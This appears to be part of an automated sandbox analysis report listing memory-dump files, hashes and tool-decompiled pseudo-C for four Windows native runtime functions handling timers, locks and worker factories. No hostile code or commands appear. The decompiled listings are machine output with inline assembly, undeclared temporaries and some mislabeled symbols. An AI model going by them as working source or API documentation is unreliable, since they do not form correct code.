Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnableEnterEventLeaveRedirectionWow64
String ID: `{l
API String ID: 355146318-1648716514
Opcode ID: e2cb4f33b27b07ed95ccf2ac31c35a9078a7c0123c51009e4ce8d0a33a23bcbd
Instruction ID: 266cb79e307caa1053cdcca7bcb87199d41ef6c8bce840b352d77844bb619b09
Opcode Fuzzy Hash: e2cb4f33b27b07ed95ccf2ac31c35a9078a7c0123c51009e4ce8d0a33a23bcbd
Instruction Fuzzy Hash: DF01AD70D099689EEF019A748840FCEBA76AB0731DF784169E01063F90C339499BC7A5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2B944, Relevance: 7.7, APIs: 5, Instructions: 166
nativetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6CE2B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				signed int _t67;
				intOrPtr _t68;
				char* _t73;
				signed int _t82;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6cefd360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t105 = __ecx[3];
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t60 =  *__ecx | __ecx[1];
					if(( *__ecx | __ecx[1]) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E6CE27D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E6CED8CD6(_t112);
						}
						_push(0);
						_push( *((intOrPtr*)(_t112 + 0x10)));
						_t60 = E6CE49E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E6CE4B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t67 = __ecx[2];
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E6CE4CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E6CE27D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E6CED8F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_push( *((intOrPtr*)(_t112 + 0x10)));
						_t60 = E6CE4AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_v68 =  *0x6cef8628;
								_v64 =  *0x6cef862c;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_v76 =  *0x6cef862c;
							_t117 = _v68;
						} while (_t117 !=  *0x6cef8628 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x6ce2b94c
0x6ce2b956
0x6ce2b95c
0x6ce2b95e
0x6ce2b964
0x6ce2b969
0x6ce2b96d
0x6ce2b970
0x6ce2b974
0x6ce2b97a
0x6ce2badf
0x6ce2bae2
0x6ce2bae4
0x6ce2bae6
0x6ce2baf0
0x6ce72cb8
0x6ce2baf6
0x6ce2baf6
0x6ce2baf6
0x6ce2bafd
0x6ce2bb1f
0x6ce2bb1f
0x6ce2baff
0x6ce2bb00
0x6ce2bb03
0x6ce2bb03
0x6ce2bacb
0x6ce2bacf
0x6ce2bad0
0x6ce2bad1
0x6ce2badc
0x6ce2badc
0x6ce2b980
0x6ce2b988
0x6ce2b98b
0x6ce2b98d
0x6ce2b990
0x6ce2b993
0x6ce2b999
0x6ce2b99b
0x6ce2b9a1
0x6ce2b9a5
0x6ce2b9aa
0x6ce2b9b0
0x6ce2b9bb
0x6ce2b9c0
0x6ce2b9c3
0x6ce2b9ca
0x6ce2b9cc
0x6ce2b9cf
0x6ce2b9d3
0x6ce2b9d7
0x6ce2ba94
0x6ce2ba94
0x6ce2ba98
0x6ce2baa3
0x6ce72ccb
0x6ce2baa9
0x6ce2baa9
0x6ce2baa9
0x6ce2bab1
0x6ce72cd5
0x6ce72cdd
0x6ce72cdd
0x6ce2babb
0x6ce2babc
0x6ce2bac2
0x6ce2bac3
0x6ce2bac6
0x00000000
0x6ce2b9dd
0x6ce2b9dd
0x6ce2b9e7
0x6ce2b9e7
0x6ce2b9ec
0x6ce2b9f1
0x6ce2b9fa
0x6ce2ba00
0x6ce2ba0c
0x6ce2ba10
0x6ce2ba10
0x6ce2ba12
0x6ce2ba18
0x00000000
0x00000000
0x6ce2bb26
0x6ce2bb26
0x6ce2ba1e
0x6ce2ba1e
0x6ce2ba23
0x6ce2ba25
0x6ce2ba2c
0x6ce2ba30
0x6ce2ba35
0x6ce2ba35
0x6ce2ba4c
0x6ce2ba50
0x6ce2ba54
0x6ce2ba6a
0x6ce2ba6e
0x6ce2ba70
0x6ce2ba74
0x6ce2ba78
0x6ce2ba7a
0x6ce2ba7c
0x6ce2ba8e
0x6ce2ba90
0x6ce2ba92
0x6ce2bb14
0x6ce2bb14
0x6ce2bb16
0x6ce2bb16
0x00000000
0x6ce2ba7c
0x6ce2bb0a
0x6ce2bb0d
0x00000000
0x00000000
0x00000000
0x6ce2bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6CE2B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6CE2BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6CE2BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6CE2BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6CE2BB03

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: 292f899197cf59fba6373d7a6000852b8c3f9084340d0cc8ec20bb121f99ee2f
Instruction ID: 5f03c8ec107ec3d787296cf1153bc91dfa25ba1f14c641c45d62f1f85c3c7d10
Opcode Fuzzy Hash: 292f899197cf59fba6373d7a6000852b8c3f9084340d0cc8ec20bb121f99ee2f
Instruction Fuzzy Hash: 1A516CB0A09300CFC720CF29C480A1ABBF5FB89708F24896EE59697B44D735E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2DBE9, Relevance: 7.6, APIs: 5, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6CE2DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t72;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t101 = _t98 + 0xc8;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E6CE0CC50(E6CE04510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E6CE27D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E6CED8ED6(_t102, _t98);
						}
						_t76 = _v44;
						E6CE22280(_t58, _v44);
						E6CE2DD82(_v44, _t102, _t98);
						E6CE2B944(_t102, _v5);
						return E6CE1FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_v28 =  *0x6cef8628;
							_v32 =  *0x6cef862c;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t105 = _v28;
						_t80 =  *0x6cef862c;
					} while (_t105 !=  *0x6cef8628 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t101 = _v40 + 0xc8;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x6ce2dbe9
0x6ce2dbf2
0x6ce2dbf7
0x6ce2dbf9
0x6ce2dbfc
0x6ce2dc00
0x6ce2dc03
0x6ce2dc14
0x6ce2dd54
0x6ce2dd54
0x6ce2dd54
0x6ce2dc18
0x6ce2dc1d
0x6ce2dc32
0x6ce2dc3b
0x6ce2dc3e
0x6ce2dc46
0x6ce2dd5b
0x6ce2dd62
0x6ce2dd64
0x6ce2dd67
0x6ce2dd69
0x6ce2dd6b
0x6ce2dd6e
0x6ce2dd70
0x6ce2dd73
0x6ce2dd73
0x00000000
0x6ce2dc4c
0x6ce2dc4e
0x6ce73ae3
0x6ce73ae8
0x6ce73aea
0x6ce2dce7
0x6ce2dce9
0x6ce2dcec
0x6ce2dcee
0x6ce2dcf0
0x6ce2dcf3
0x6ce2dcf5
0x6ce73af2
0x6ce73af5
0x6ce73af5
0x6ce2dd06
0x6ce2dd08
0x6ce2dd0b
0x6ce2dd12
0x6ce73b08
0x6ce2dd18
0x6ce2dd18
0x6ce2dd18
0x6ce2dd20
0x6ce2dd23
0x6ce73b16
0x6ce73b16
0x6ce2dd29
0x6ce2dd2d
0x6ce2dd36
0x6ce2dd40
0x6ce2dd51
0x6ce2dd51
0x6ce2dc54
0x6ce2dc59
0x6ce2dc59
0x6ce2dc5e
0x6ce2dc63
0x6ce2dc6b
0x6ce2dc78
0x6ce2dc7b
0x6ce2dc81
0x6ce2dc81
0x6ce2dc83
0x6ce2dc89
0x00000000
0x00000000
0x6ce2dd7b
0x6ce2dd7b
0x6ce2dc8f
0x6ce2dc8f
0x6ce2dc92
0x6ce2dc99
0x6ce2dc9f
0x6ce2dca5
0x6ce2dcaa
0x6ce2dcaa
0x6ce2dcb8
0x6ce2dcbb
0x6ce2dcc1
0x6ce2dccf
0x6ce2dcd2
0x6ce2dcd5
0x6ce2dcd7
0x6ce2dcda
0x6ce2dcdc
0x6ce2dce2
0x6ce2dce4
0x00000000
0x6ce2dce4

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6CE2DD0B
RtlAcquireSRWLockExclusive.1105(00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6CE2DD2D
RtlReleaseSRWLockExclusive.1105(00000000,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6CE2DD46

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseServiceSession
String ID:
API String ID: 3179239776-0
Opcode ID: e6725202e20d81d3191b2fc068b18fc0674cf08f304a19c04ce5b568df9e2374
Instruction ID: 5fe53fc828d44439eebde210a66597ea0866a02b1f35cecbf8e821c0b198c906
Opcode Fuzzy Hash: e6725202e20d81d3191b2fc068b18fc0674cf08f304a19c04ce5b568df9e2374
Instruction Fuzzy Hash: 1E51B279A05619CFCB14CF68C480B8EBBF1BF4A318F35825AD654A7740DB74AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE09100, Relevance: 7.6, APIs: 5, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6CE09100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x6cedf6e8);
				E6CE5D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0 || _t82 ==  *0x6cef86c0 || _t82 ==  *0x6cef86b8 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E6CED88F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E6CE5D130(_t68, _t82, _t84);
				} else {
					E6CE22280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E6CED88F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E6CE4AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x6cefb1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x6cef84c0;
										if(_t69 >=  *0x6cef84c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E6CED9063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E6CE0922A(_t82);
							_t53 = E6CE27D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E6CED8B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) == 0) {
								goto L5;
							} else {
								__eflags = _t82 -  *0x6cef86c0;
								if(__eflags != 0) {
									__eflags = _t82 -  *0x6cef86b8;
									if(__eflags == 0) {
										_t79 = 0x6cef86bc;
										_t72 = 0x6cef86b8;
										L18:
										E6CE39B82(_t68, _t72, _t79, _t82, _t84, __eflags);
										goto L5;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E6CE09240(_t68, _t82, _t82, _t84, __eflags);
									}
									goto L5;
								}
								_t79 = 0x6cef86c4;
								_t72 = 0x6cef86c0;
								goto L18;
							}
						}
					}
				}
			}

0x6ce09100
0x6ce09100
0x6ce09100
0x6ce09100
0x6ce09102
0x6ce09107
0x6ce0910c
0x6ce09110
0x6ce09115
0x6ce09143
0x6ce637e4
0x6ce637e4
0x6ce09149
0x6ce0914e
0x6ce09151
0x6ce09158
0x6ce0915d
0x6ce09161
0x6ce09168
0x6ce63715
0x00000000
0x6ce0916e
0x6ce0916e
0x6ce09175
0x6ce09177
0x6ce0917e
0x6ce0917f
0x6ce09182
0x6ce09182
0x6ce09187
0x6ce09187
0x6ce0918a
0x6ce0918d
0x6ce0918f
0x6ce09192
0x6ce09195
0x6ce09198
0x6ce09198
0x6ce09198
0x6ce0919a
0x00000000
0x00000000
0x6ce6371f
0x6ce63721
0x6ce63727
0x6ce6372f
0x6ce63733
0x6ce63735
0x6ce63738
0x6ce6373b
0x6ce6373d
0x6ce63740
0x00000000
0x00000000
0x6ce63746
0x6ce63749
0x00000000
0x00000000
0x6ce6374f
0x6ce63751
0x00000000
0x00000000
0x6ce63757
0x6ce63759
0x6ce6375c
0x6ce6375c
0x6ce6375e
0x6ce6375e
0x6ce63761
0x6ce63764
0x00000000
0x00000000
0x6ce63766
0x6ce63768
0x6ce637a3
0x6ce637a3
0x6ce637a5
0x6ce637a7
0x6ce637ad
0x6ce637b0
0x6ce637b2
0x6ce637bc
0x6ce637c2
0x6ce637c2
0x6ce637b2
0x6ce09187
0x6ce09187
0x6ce0918a
0x6ce0918d
0x6ce0918f
0x6ce09192
0x6ce09195
0x00000000
0x6ce09195
0x00000000
0x6ce09187
0x6ce6376a
0x6ce6376a
0x6ce6376c
0x6ce6376c
0x6ce6376f
0x6ce63775
0x00000000
0x00000000
0x6ce63777
0x6ce63779
0x00000000
0x00000000
0x6ce63782
0x6ce63787
0x6ce63789
0x6ce63790
0x6ce63790
0x6ce6378b
0x6ce6378b
0x6ce6378b
0x6ce63792
0x6ce63795
0x6ce63795
0x6ce63798
0x6ce63798
0x6ce6379b
0x6ce6379b
0x6ce091a3
0x6ce091a9
0x6ce091b0
0x6ce091b4
0x6ce091b4
0x6ce091bb
0x6ce091c0
0x6ce091c5
0x6ce091c7
0x6ce637da
0x6ce091cd
0x6ce091cd
0x6ce091cd
0x6ce091d2
0x6ce091d5
0x6ce09239
0x6ce09239
0x6ce091d7
0x6ce091db
0x00000000
0x6ce091e1
0x6ce091e1
0x6ce091e7
0x6ce091fd
0x6ce09203
0x6ce0921e
0x6ce09223
0x6ce091f3
0x6ce091f3
0x00000000
0x6ce091f3
0x6ce09205
0x6ce09208
0x6ce0920c
0x6ce09214
0x6ce09214
0x00000000
0x6ce0920c
0x6ce091e9
0x6ce091ee
0x00000000
0x6ce091ee
0x6ce091db
0x6ce09187
0x6ce09168

APIs

RtlAcquireSRWLockExclusive.1105(?,6CEDF6E8,0000002C,6CE5E530,00000000,?,6CEE01C0,00000010,6CED810C,00000000,00000000,00000000,00000000,6CEF86C4,6CEF86C4,00000008), ref: 6CE09158
ZwShutdownWorkerFactory.1105(?,?), ref: 6CE09182
RtlGetCurrentServiceSessionId.1105 ref: 6CE091C0

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
Opcode ID: 6f58596b3bcd5bbe18467c3d828b27fc3105f2dccedcd9279b8fd1866cb8ac3d
Instruction ID: 9e4e3341182ca1b8eba341c9818d1ccd4c721092df88e304d67770228a7063e8
Opcode Fuzzy Hash: 6f58596b3bcd5bbe18467c3d828b27fc3105f2dccedcd9279b8fd1866cb8ac3d
Instruction Fuzzy Hash: 9551D1B6B552449BDB11CF6AC48879EBBB1BB8631CF36425AC424A7F81C334A851C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE919C8, Relevance: 7.6, APIs: 5, Instructions: 107
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6CE919C8(intOrPtr* __ecx, intOrPtr* __edx) {
				int _v8;
				void* _v12;
				char _v16;
				intOrPtr* _v20;
				int _v24;
				char _v28;
				int _v32;
				int _v36;
				intOrPtr _v40;
				int _v44;
				int _v48;
				void _v52;
				int _t37;
				intOrPtr* _t47;
				signed int _t49;
				int _t51;
				intOrPtr* _t54;
				int _t58;

				_t47 = __edx;
				_t54 = __ecx;
				_t49 = 6;
				memset( &_v52, 0, _t49 << 2);
				_v20 = _t54;
				_v12 = 0;
				_v8 = 0;
				_v16 = 0;
				if(_t54 != 0) {
					 *_t54 = 0;
				}
				if(_t47 != 0) {
					 *_t47 = 0;
				}
				if(_t54 != 0) {
					if(_t47 != 0) {
						_push(0);
						_push(0x8000000);
						_push(4);
						_v52 = 0x18;
						_push( &_v28);
						_v48 = 0;
						_push( &_v52);
						_push(0xf0007);
						_v40 = 2;
						_push( &_v12);
						_v44 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0x414;
						_v24 = 0;
						_t58 = E6CE499A0();
						if(_t58 < 0) {
							L11:
							_t51 = _v12;
							_t37 = _v8;
							L12:
							if(_t37 != 0) {
								_push(_t37);
								_push(0xffffffff);
								E6CE497A0();
								_t51 = _v12;
								_v8 = 0;
							}
							if(_t51 != 0) {
								_push(_t51);
								E6CE495D0();
							}
							goto L16;
						}
						_push(4);
						_push(0);
						_push(1);
						_push( &_v16);
						_push(0);
						_push(0);
						_push(0);
						_push( &_v8);
						_push(0xffffffff);
						_push(_v12);
						_t58 = E6CE49780();
						if(_t58 < 0) {
							goto L11;
						}
						memset(_v8, 0, 0xf0);
						_t58 = 0;
						 *_v20 = _v12;
						_t51 = 0;
						 *_t47 = _v8;
						_t37 = 0;
						_v12 = 0;
						_v8 = 0;
						goto L12;
					}
					_t58 = 0xc00000f0;
					goto L16;
				} else {
					_t58 = 0xc00000ef;
					L16:
					return _t58;
				}
			}

0x6ce919d3
0x6ce919d8
0x6ce919de
0x6ce919df
0x6ce919e3
0x6ce919e6
0x6ce919e9
0x6ce919ec
0x6ce919f1
0x6ce919f3
0x6ce919f3
0x6ce919f7
0x6ce919f9
0x6ce919f9
0x6ce919fd
0x6ce91a0b
0x6ce91a17
0x6ce91a18
0x6ce91a1d
0x6ce91a22
0x6ce91a29
0x6ce91a2d
0x6ce91a30
0x6ce91a31
0x6ce91a39
0x6ce91a40
0x6ce91a41
0x6ce91a44
0x6ce91a47
0x6ce91a4a
0x6ce91a51
0x6ce91a59
0x6ce91a5d
0x6ce91aab
0x6ce91aab
0x6ce91aae
0x6ce91ab1
0x6ce91ab3
0x6ce91ab5
0x6ce91ab6
0x6ce91ab8
0x6ce91abd
0x6ce91ac0
0x6ce91ac0
0x6ce91ac5
0x6ce91ac7
0x6ce91ac8
0x6ce91ac8
0x00000000
0x6ce91ac5
0x6ce91a5f
0x6ce91a61
0x6ce91a62
0x6ce91a67
0x6ce91a68
0x6ce91a69
0x6ce91a6a
0x6ce91a6e
0x6ce91a6f
0x6ce91a71
0x6ce91a79
0x6ce91a7d
0x00000000
0x00000000
0x6ce91a88
0x6ce91a96
0x6ce91a98
0x6ce91a9a
0x6ce91a9f
0x6ce91aa1
0x6ce91aa3
0x6ce91aa6
0x00000000
0x6ce91aa6
0x6ce91a0d
0x00000000
0x6ce919ff
0x6ce919ff
0x6ce91ace
0x6ce91ad5
